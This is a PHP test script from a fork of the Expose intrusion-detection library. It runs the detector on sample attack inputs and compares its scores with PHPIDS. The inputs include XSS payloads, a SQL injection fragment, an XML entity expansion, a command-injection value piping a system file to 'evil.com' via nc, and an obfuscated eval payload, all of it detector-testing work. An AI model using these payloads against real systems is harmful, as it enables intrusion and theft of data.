forked from enygma/expose
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtest.php
More file actions
83 lines (75 loc) · 3.55 KB
/
test.php
File metadata and controls
83 lines (75 loc) · 3.55 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
require_once ('vendor/autoload.php');
$data = array(
'POST' => array(
/**/
'test1' => 'foo',
//'test2' => 'foo<script>nose</script>',
'bar' => array(
'baz' => '%3C%69%6D%67%20%73%72%63%3D%22%22%20%6F%6E%65%72%72%6F%72%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%22%3E',
//'testing' => '<script>test</script>',
'path' => '../nose/aqui'
),
/**/
'data' => array(
'1' => 'bah"></a>', //rule 1: html escape
'21' => '%22+onMouseOver%3D%22alert%28', //rule 21: basic XSS probings
'3' => '>aabbcc</abc>', //rule 3: finds unquoted attribute breaking injections
'4' => '<IMG SRC=javascript:alert('XSS')>',
'5' => '<IMG SCR=javascript:alert('XSS')>',
'6' => '<iframe src=http://ha.ckers.org/scriptlet.html <',
'7' => '<<SCRIPT>alert("XSS");//<</SCRIPT>',
'8' => '<<SCRIPT>prompt("XSS");//<</SCRIPT>',
'9'=>'<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>',
'10'=>"';alert(String.fromCharCode(88,83,83))",
'11'=>'<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>',
'76'=>'union select from',
'xmlexp'=>'<!DOCTYPE root [<!ENTITY a "Ha !">]><root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root>',
'shell'=>'foo || cat /etc/password | nc evil.com',
'eval' => '<% 1=1;eval(gzinflate(base64_decode(("PHNjcmlwdCBzcmM9Imh0dHA6Ly93d3cubm9zZS5jb24vZXZpbC5waHAiPjwvc2NyaXB0Pn==")'
)
),
);
/**
echo '<h2>Examples taken from <a href="https://www.awnage.com/2014/01/06/ids-showdown-phpids-vs-expose/">https://www.awnage.com/2014/01/06/ids-showdown-phpids-vs-expose/</a></h2>';
echo '<pre>';
echo <<<EOF
Test PHPIDS expose
1: 11 4
21: 3 3
3: 2 2
4: 51 5 *
5: 9 5
6: 13 13
7: 29 18
8: 29 18
9: 24 0 *
10: 32 13 *
11: 11 0 *
76: 20 20
xmlexp: 16 11 *
shell: 10 10
TOTAL 260 140
EOF;
echo '</pre>';
/**/
// Cache
$cache = new \Expose\Cache\File();
$cache->setPath( dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cache_tmp');
$filters = new \Expose\FilterCollection();
$filters->setCache($cache);
$filters->load();
//instantiate a PSR-3 compatible logger
//$logger = new \Expose\Log\Mongo();
$logger = new \Expose\Log\File();
$manager = new \Expose\Manager($filters, $logger);
//setting cache
$manager->setCache($cache);
$manager->run($data);
echo 'impact: '.$manager->getImpact()."\n"; // should return 8
// get all matching filter reports
$reports = $manager->getReports();
print_r($reports);
// export out the report in the given format ("text" is default)
echo $manager->export();
echo "\n\n";